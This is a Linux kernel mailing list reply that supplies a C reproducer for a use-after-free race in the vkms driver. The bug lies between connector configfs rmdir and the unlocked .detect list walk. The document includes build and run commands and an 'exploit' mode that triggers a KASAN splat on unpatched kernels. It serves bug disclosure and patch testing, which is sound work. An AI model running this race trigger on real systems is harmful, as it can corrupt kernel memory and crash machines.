Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect

From: Ibrahim Hashimov

Date: Wed Jul 22 2026 - 14:50:28 EST


Here's the reproducer, inline.

gcc -O2 -o vkms_uaf vkms_connector_uaf.c
modprobe vkms
mount -t configfs none /sys/kernel/config # if not already mounted
./vkms_uaf exploit # concurrent -> UAF on an unpatched KASAN build
./vkms_uaf control # sequential -> same work, stays clean

It builds a vkms device with a batch of connectors, keeps writing "detect"
to one connector's status (which walks the whole config->connectors list)
while rmdir'ing the other connectors out from under that walk. On an
unpatched KASAN + DEBUG_LIST build it splats slab-use-after-free in
vkms_connector_detect fairly quickly here (a couple of minutes on a 2-CPU
guest). The control run does the identical work sequentially, so the only
variable is the concurrency.

Needs CONFIG_DRM_VKMS=m, CONFIG_CONFIGFS_FS=y, and ideally CONFIG_KASAN=y +
CONFIG_DEBUG_LIST=y to see the splat; run it as root (configfs is root-only).

---8<--- vkms_connector_uaf.c ---8<---
// vkms: configfs connector rmdir vs vkms_connector_detect UAF race
//
// Bug (v6.19, gpu/drm/vkms):
// connector_release() (vkms_configfs.c:568-580) --rmdir of a connector cfgfs dir-->
// scoped_guard(mutex, &dev->lock){ vkms_config_destroy_connector(cfg); kfree(connector); }
// vkms_config_destroy_connector (vkms_config.c:608-613): list_del(&cfg->link); kfree(cfg);
// vkms_connector_detect() (vkms_connector.c:11-34) iterates the SAME live
// config->connectors list with vkms_config_for_each_connector == plain
// list_for_each_entry (vkms_config.h:152-153), holding NO lock (not dev->lock,
// not RCU). detect is reachable by writing "detect" to
// /sys/class/drm/<card-conn>/status (drm_sysfs.c status_store -> fill_modes
// -> drm_helper_probe_single_connector_modes -> .detect).
// => the unlocked list walk in detect races the locked list_del+kfree in
// connector_release on the same object -> CWE-362 -> CWE-416 UAF read
// (and/or CONFIG_DEBUG_LIST __list_del_entry corruption splat).
//
// The mutating (rmdir) side needs root (configfs is root-owned 0755); attacker
// model per the finding is local root / CAP_SYS_ADMIN. We run as root in the VM.
//
// CONTROL vs EXPLOIT: the ONLY differential is concurrency.
// EXPLOIT : detect-hammer child runs CONCURRENTLY with the rmdir loop (fork).
// CONTROL : the SAME detect-hammer and the SAME rmdir loop run SEQUENTIALLY
// (hammer finishes, then rmdir) -> the iterator never overlaps the
// locked list_del+kfree -> no UAF.
//
// Oracle = kasan: a win aborts the guest with a KASAN slab-use-after-free (or a
// DEBUG_LIST/list_del corruption) splat in vkms_connector_detect / __list_*.
// Userspace cannot observe the win (the kernel panics via panic_on_warn before
// the racing syscall returns), so the splat in the console log IS the proof.
// A miss just loops until the deadline and exits 0 (not a failure).

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdint.h>
#include <time.h>
#include <signal.h>
#include <sys/syscall.h>

#define VBASE "/sys/kernel/config/vkms"
#define DRMDIR "/sys/class/drm"
#define DEVNAME "r"
#define DEVDIR VBASE "/" DEVNAME
#define NCONN 31

/* pin the calling task to a single CPU so the detect-walk and the rmdir free
* run on different cores for a real, wide overlap window (smp>=2). */
static void pin_cpu(int cpu)
{
unsigned long mask = 1UL << cpu;
syscall(SYS_sched_setaffinity, 0, sizeof(mask), &mask);
}

static int wfile(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
ssize_t n = write(fd, val, strlen(val));
int e = errno;
close(fd);
if (n < 0) { errno = e; return -1; }
return 0;
}

/* build a fresh, minimally-valid vkms device 'r' with NCONN connectors.
* layout that passes vkms_config_is_valid():
* 1 primary plane (type=1) with possible_crtcs -> c0
* 1 crtc c0
* 1 encoder e0 with possible_crtcs -> c0
* NCONN connectors n0..n{NCONN-1} each possible_encoders -> e0
*/
static int build_device(void)
{
char p[512], tgt[512];

if (mkdir(DEVDIR, 0755) < 0 && errno != EEXIST) return -1;

if (mkdir(DEVDIR "/planes/p0", 0755) < 0 && errno != EEXIST) return -1;
if (wfile(DEVDIR "/planes/p0/type", "1") < 0) return -1; /* PRIMARY */

if (mkdir(DEVDIR "/crtcs/c0", 0755) < 0 && errno != EEXIST) return -1;
if (mkdir(DEVDIR "/encoders/e0", 0755) < 0 && errno != EEXIST) return -1;

/* plane possible_crtcs -> c0 */
snprintf(tgt, sizeof tgt, DEVDIR "/crtcs/c0");
if (symlink(tgt, DEVDIR "/planes/p0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;
/* encoder possible_crtcs -> c0 */
if (symlink(tgt, DEVDIR "/encoders/e0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;

/* connectors, each possible_encoders -> e0 */
snprintf(tgt, sizeof tgt, DEVDIR "/encoders/e0");
for (int i = 0; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
if (mkdir(p, 0755) < 0 && errno != EEXIST) return -1;
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
if (symlink(tgt, p) < 0 && errno != EEXIST) return -1;
}
return 0;
}

static int enable_device(void)
{
return wfile(DEVDIR "/enabled", "1");
}

/* best-effort teardown; ignores errors (exploit already removed some connectors) */
static void teardown_device(void)
{
char p[512];
wfile(DEVDIR "/enabled", "0");
for (int i = 0; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i); unlink(p);
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i); rmdir(p);
}
unlink(DEVDIR "/encoders/e0/possible_crtcs/l"); rmdir(DEVDIR "/encoders/e0");
unlink(DEVDIR "/planes/p0/possible_crtcs/l"); rmdir(DEVDIR "/planes/p0");
rmdir(DEVDIR "/crtcs/c0");
rmdir(DEVDIR);
}

/* connector sysfs names contain a '-' (e.g. "card1-Virtual-1"); plain cards
* ("card1") do not. snapshot the set of connector dirs. */
#define MAXSNAP 512
static char snap[MAXSNAP][80];
static int nsnap;

static void snapshot(void)
{
nsnap = 0;
DIR *d = opendir(DRMDIR);
if (!d) return;
struct dirent *e;
while ((e = readdir(d)) && nsnap < MAXSNAP) {
if (strchr(e->d_name, '-') && strncmp(e->d_name, "card", 4) == 0)
snprintf(snap[nsnap++], 80, "%s", e->d_name);
}
closedir(d);
}

static int in_snap(const char *name)
{
for (int i = 0; i < nsnap; i++)
if (strcmp(snap[i], name) == 0)
return 1;
return 0;
}

/* find a connector-status path that appeared since snapshot() */
static int find_new_status(char *out, size_t outlen)
{
DIR *d = opendir(DRMDIR);
if (!d) return -1;
struct dirent *e;
int found = -1;
while ((e = readdir(d))) {
if (!strchr(e->d_name, '-') || strncmp(e->d_name, "card", 4) != 0)
continue;
if (in_snap(e->d_name))
continue;
char cand[512];
snprintf(cand, sizeof cand, DRMDIR "/%s/status", e->d_name);
if (access(cand, W_OK) == 0) {
snprintf(out, outlen, "%s", cand);
found = 0;
break;
}
}
closedir(d);
return found;
}

/* tight detect-reprobe loop on one connector status file; whole config list is
* walked on every write regardless of which connector we poke. */
static void hammer_detect(const char *status, volatile int *stop, int budget)
{
int fd = open(status, O_WRONLY);
if (fd < 0)
return;
long i = 0;
while (1) {
if (stop && *stop) break;
if (budget && i >= budget) break;
lseek(fd, 0, SEEK_SET);
if (write(fd, "detect", 6) < 0) {
/* connector may disappear on device destroy; keep going */
}
i++;
}
close(fd);
}

/* rmdir connectors n1..n{NCONN-1} as fast as possible (n0 kept as a stable
* probe target). each rmdir triggers connector_release -> list_del + kfree. */
static void rmdir_connectors(void)
{
char p[512];
for (int i = 1; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
unlink(p);
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
rmdir(p);
}
}

int main(int argc, char **argv)
{
int concurrent = (argc > 1 && strcmp(argv[1], "exploit") == 0);
const char *mode = concurrent ? "exploit" : "control";
setvbuf(stdout, NULL, _IONBF, 0);

/* one validated round first: if we cannot even build+enable, it is a real
* setup failure -> exit 3 so run.sh surfaces SETUP-FAIL. */
teardown_device();
if (build_device() < 0) {
printf("SETUP-FAIL build_device errno=%d (%s)\n", errno, strerror(errno));
return 3;
}
snapshot();
if (enable_device() < 0) {
printf("SETUP-FAIL enable errno=%d (%s)\n", errno, strerror(errno));
teardown_device();
return 3;
}
char status[512];
if (find_new_status(status, sizeof status) < 0) {
printf("SETUP-FAIL no new connector status file after enable\n");
teardown_device();
return 3;
}
printf("[%s] setup OK, probe=%s NCONN=%d\n", mode, status, NCONN);
teardown_device();

int secs = concurrent ? 175 : 10;
time_t deadline = time(NULL) + secs;
long iter = 0;

while (time(NULL) < deadline) {
teardown_device();
if (build_device() < 0) { teardown_device(); continue; }
snapshot();
if (enable_device() < 0) { teardown_device(); continue; }
if (find_new_status(status, sizeof status) < 0) { teardown_device(); continue; }

if (concurrent) {
/* DIFFERENTIAL: detect walk runs CONCURRENTLY with rmdir,
* pinned to separate CPUs for a wide overlap window. */
pid_t c = fork();
if (c == 0) {
pin_cpu(0);
hammer_detect(status, NULL, 0); /* until killed */
_exit(0);
}
pin_cpu(1);
rmdir_connectors();
kill(c, SIGKILL);
waitpid(c, NULL, 0);
} else {
/* CONTROL: same work, SEQUENTIAL — no overlap, no race */
int stop = 0;
hammer_detect(status, &stop, 1500);
rmdir_connectors();
}

teardown_device();
iter++;
if (iter % 25 == 0)
printf("ITER=%ld mode=%s\n", iter, mode);
}

printf("done mode=%s iters=%ld (no splat -> miss; kasan splat, if any, is above)\n",
mode, iter);
return 0;
}

---8<---

Ibrahim